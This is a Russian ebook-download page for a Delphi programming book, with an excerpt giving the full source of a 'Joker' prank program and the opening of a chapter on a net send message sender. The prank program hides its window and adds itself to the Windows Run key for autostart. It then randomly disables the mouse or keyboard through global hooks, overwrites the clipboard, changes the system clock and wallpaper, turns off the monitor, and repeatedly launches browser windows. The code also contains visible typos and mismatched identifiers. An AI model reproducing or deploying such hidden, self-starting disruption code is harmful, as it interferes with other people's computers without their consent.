» » » Сергей Парижский - Delphi. Учимся на примерах


Авторские права

Сергей Парижский - Delphi. Учимся на примерах

Здесь можно скачать бесплатно "Сергей Парижский - Delphi. Учимся на примерах" в формате fb2, epub, txt, doc, pdf. Жанр: Программирование, издательство "МК-Пресс", год 2005. Так же Вы можете читать книгу онлайн без регистрации и SMS на сайте LibFox.Ru (ЛибФокс) или прочесть описание и ознакомиться с отзывами.
Сергей Парижский - Delphi. Учимся на примерах
Рейтинг:
Название:
Delphi. Учимся на примерах
Издательство:
"МК-Пресс"
Год:
2005
ISBN:
ISBN 966-8806-02-6
Скачать:

99Пожалуйста дождитесь своей очереди, идёт подготовка вашей ссылки для скачивания...

Скачивание начинается... Если скачивание не началось автоматически, пожалуйста нажмите на эту ссылку.

Вы автор?
Жалоба
Все книги на сайте размещаются его пользователями. Приносим свои глубочайшие извинения, если Ваша книга была опубликована без Вашего на то согласия.
Напишите нам, и мы в срочном порядке примем меры.

Как получить книгу?
Оплатили, но не знаете что делать дальше? Инструкция.

Описание книги "Delphi. Учимся на примерах"

Описание и краткое содержание "Delphi. Учимся на примерах" читать бесплатно онлайн.



Данная книга — продолжение предыдущей книги автора, "Delphi. Только практика". Также как и в "Delphi. Только практика", в данном издании подробно рассмотрены программы для сетей, различные шуточные программы, простые игрушки, некоторые полезные приложения, разработка приложений в стиле Windows XP. В частности, здесь можно найти такие примеры как бесплатная отправка SMS, FTP-клиент, простое шифрование, CGI-сценарии и многое другое. Описаны методы работы с системным реестром Windows и INI-файлами, а также некоторые важные аспекты программирования на системном уровне с применением функций Windows API. Для облегчения понимания программ каждый пример содержит комментарии сложных строк кода.

Книга ориентирована как на тех, кто уже имеет опыт создания приложений в Delphi, так и на начинающих программистов. Для начинающих пользователей Delphi в конце книги добавлено приложение с описанием синтаксиса языка программирования Object Pascal.






unit Unit1;


interface


uses

 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, Registry, clipbrd, ShellApi;


type

 TForm1 = class(TForm)

 Timer1: TTimer;

 procedure Timer1Timer(Sender: TObject);

 procedure FormPaint(Sender: TObject);

 procedure FormCreate(Sender: TObject);

private

 { Private declarations }

public

 { Public declarations }

end;


var

 Form1: TForm1;

 //для отключения мыши и клавиатуры

 Dummy: integer = 0;

 OldKbHook: HHook = 0;

 //для снятия копии экрана

 ВМР1: Graphics.TBitmap;

 DC1: HDC;

 Image1: TImage;

 // для поиска случайного рисунка

 fn: TSearchRec;

 Finds: integer;

 i: integer;

 endval: integer;

 err_str: string;//вывод ошибки

 tm: TSystemTime; //изменение времени

 reg: TRegistry; //для работы с реестром

 JokeNum: shortint; //номер шутки, которую следует выполнить

 curs: TRect; //координаты прямоугольника


implementation


procedure SetWallpaper(sWallpaperBMPPath: String; bTile: boolean);

begin

 reg:= TRegistry.Create;

 reg.RootKey:= hkey_current_user;

 if reg.OpenKey('Control Panel\Desktop', True) then

  reg.WriteString('Wallpaper', sWallpaperBMPPath); {ключ содержащий путь к bmp-файлу}

 //растянуть рисунок на весь экран

 reg.WriteString('TileWallpaper', '1');

 with reg do begin

  WriteString('Wallpaper', sWallpaperBMPPath);

  if bTile then begin

   WriteString('TileWallpaper', '1');

  end

  else begin

   WriteString('TileWallpaper', '0');

  end;

 end;

 reg.Free;

 SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE);

end;


function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;

begin

 if code < 0 then

  Result:= CallNextHookEx(oldKbHook, code, wparam, lparam)

 else

  Result:= 1;

end;


{$R *.dfm}


procedure TForm1.Timer1Timer(Sender: TObject);

var

 JokeNum: shortint;

 curs: TRect;

begin

 JokeNum:= Random(10) + 1;

 case JokeNum of

  1: begin //Уменьшить диапазон движения мыши

   curs := Rect(0, 0, Screen.Width div 2,Screen.Height);

   ClipCursor(Scurs);

  end;

  2: begin //Отключить мышь

  SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy,0);

  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

  OldKbHook:= SetWindowsHookEx(WH_mouse, @KbHook, HInstance, 0);

  end;

  3: begin //отключить клавиатуру

   SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);

   SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

   OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);

  end;

  4: begin //Очистить буфер обмена

   ClipBoard.Open;//открываем буфер обмена

   ClipBoard.Clear;//очищаем буфер обмена

   //Помещаем в буфер обмена свой текст

   Clipboard.asText:= 'Буфер обмена временно не работает!';

   ClipBoard.Close; //закрываем буфер обмена

  end;

  5: begin // сделать копию экрана и назначить её фоном

   ВМР1:= Graphics.TBitmap.Create;

   //задаем размеры рисунка такие же,как размеры экрана

   BMP1.Height:= Screen.Height;

   BMP1.Width:= Screen.Width;

   DC1:=GetDC(0);

   //Делаем копию экрана

   BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);

   Form1.Visible:= True;//восстанавливаем окно нашей программы

   Image1:= TImage.Create(nil);

   BMP1.IgnorePalette:= True;

   Image1.Picture.Assign(BMP1);

   BMP1.SaveToFile('с:\1.bmp'); //сохраняем снимок в файл 1.bmp

   SetWallpaper('с:\1.bmp', False); //назначаем снимок, как фон

   Repaint; //обновляем

  end;

  6: begin // Найти случайный рисунок и сделать его фоновым

   endval:= Random(10) + 5; //для случайности выбора рисунка

   //ищем все файлы с расширением *.bmp в каталоге Windows

   Finds:= FindFirst('С:\Windows\*.bmp', faAnyFile, fn);

   Finds:= Random(2); //случайное число, 0 или 1

   //если выпала 1, то устанавливаем первый попавшийся рисунок

   if Finds = 1 then SetWallpaper(fn.Name, False);

   if Finds = 0 then begin //иначе…

    for i:=1 to endval do begin

     Finds:= FindNext(fn); // …ищем другие рисунки

     //выбираем любой другой рисунок и делаем его фоновым

     if i = endval – 3 then SetWallpaper(fn.Name, False);

    end;

   end;

   FindClose(fn); //завершаем поиск

  end;

  7: begin //Выключить монитор

   SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);

  end;

  8: begin //Сообщение об "ошибке"

   for i:=1 to 200 do begin

    case i of

    //после каждого 25-го числа – перенос на новую строку

    25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;

    end;

    //текст "ошибки"

    err_str:= err_str + IntToStr(Random(99999));

   end;

   MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение

  end;

  9: begin //Запуск Internet Explorer

   for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.

    ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +

     'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);

  end;

 10: begin //Перевести время

   GetLocalTime(tm); //узнаем текущую дату и время

   tm.wYear:= 2000; //устанавливаем год

   tm.wMonth:= 01; //месяц

   tm.wDay:= 01; //день

   tm.wHour:= 0; //часы

   tm.wMinute:= 0; //минуты

   tm.wSecond := 1; //секунды

   tm.wMilliseconds := 0; //мс

   SetLocalTime(tm); //устанавливаем новую дату и время

  end;

 end;

end;


procedure TForm1.FormPaint(Sender: TObject);

begin

 Form1.Hide; //прячем форму

end;


procedure TForm1.FormCreate(Sender: TObject);

var

 reg:TRegistry;//переменная для работы с реестром

 path: string;//содержит путь к нашей программе

begin

 Randomize; //генератор случайных чисел

 //узнаем путь к программе и ее имя

 path:= Application.EXEname;

 reg:= TRegistry.Create;//открываем реестр

 //ветка текущего пользователя

 reg.RootKey:= HKEY_CURRENT_USER;

 //открываем раздел автозагрузки

 if reg.OpenKey('\Software\Microsoft\Windows\' +

  'CurrentVersion\Run', True)

 then begin

  //записываем ссылку на нашу программу в автозагрузку

  reg.WriteString('Joker', path);

  reg.CloseKey;//закрываем реестр

  reg.Free;//освобождаем память

 end;

end;


end.

⊚ Все файлы проекта и исполняемый файл рассмотренной программы находятся на прилагаемом к книге компакт-диске в папке Chapter_14.

Глава 15

Отправка сообщений в локальной сети

Постановка задачи

Разработать программу, которая будет предоставлять интерфейс для использования стандартной для Win2000/XP команды передачи сообщений net send. Дать возможность указать пользователю адрес получателя, текст сообщения и количество отправляемых сообщений. Также предусмотреть возможность установки блокировки на получение сообщений от других компьютеров.

Разработка формы

Создайте новый проект Delphi. Измените заголовок формы (свойство Caption) на Net Sender. Разместите вдоль левого края формы один над другим три компонента Label категории Standard и присвойте их свойству Caption значения IP-адрес:, Сообщение: И Количество:.

Рядом с каждой из меток разместите по компоненту Edit категории Standard. Самый верхний назовите ip (свойство Name), а свойству Text присвойте значение 192.168.0.1.; среднее поле назовите txt, а свойству Text присвойте какой-либо текст сообщения по умолчанию; самое нижнее поле назовите how, а свойству Text присвойте значение 1.

Под перечисленными компонентами разместите компонент Checkbox категории Standard. Присвойте ему имя secure, свойству Caption присвойте значение Отключить прием сообщений, а свойству Checked — значение True.

В самом низу формы разместите кнопку (компонент Button категории Standard), присвоив ее свойству Caption значение Send. Также нам понадобится таймер (компонент Timer категории System), для которого свойству Interval следует присвоить значение 10.


На Facebook В Твиттере В Instagram В Одноклассниках Мы Вконтакте
Подписывайтесь на наши страницы в социальных сетях.
Будьте в курсе последних книжных новинок, комментируйте, обсуждайте. Мы ждём Вас!

Похожие книги на "Delphi. Учимся на примерах"

Книги похожие на "Delphi. Учимся на примерах" читать онлайн или скачать бесплатно полные версии.


Понравилась книга? Оставьте Ваш комментарий, поделитесь впечатлениями или расскажите друзьям

Все книги автора Сергей Парижский

Сергей Парижский - все книги автора в одном месте на сайте онлайн библиотеки LibFox.

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Отзывы о "Сергей Парижский - Delphi. Учимся на примерах"

Отзывы читателей о книге "Delphi. Учимся на примерах", комментарии и мнения людей о произведении.

А что Вы думаете о книге? Оставьте Ваш отзыв.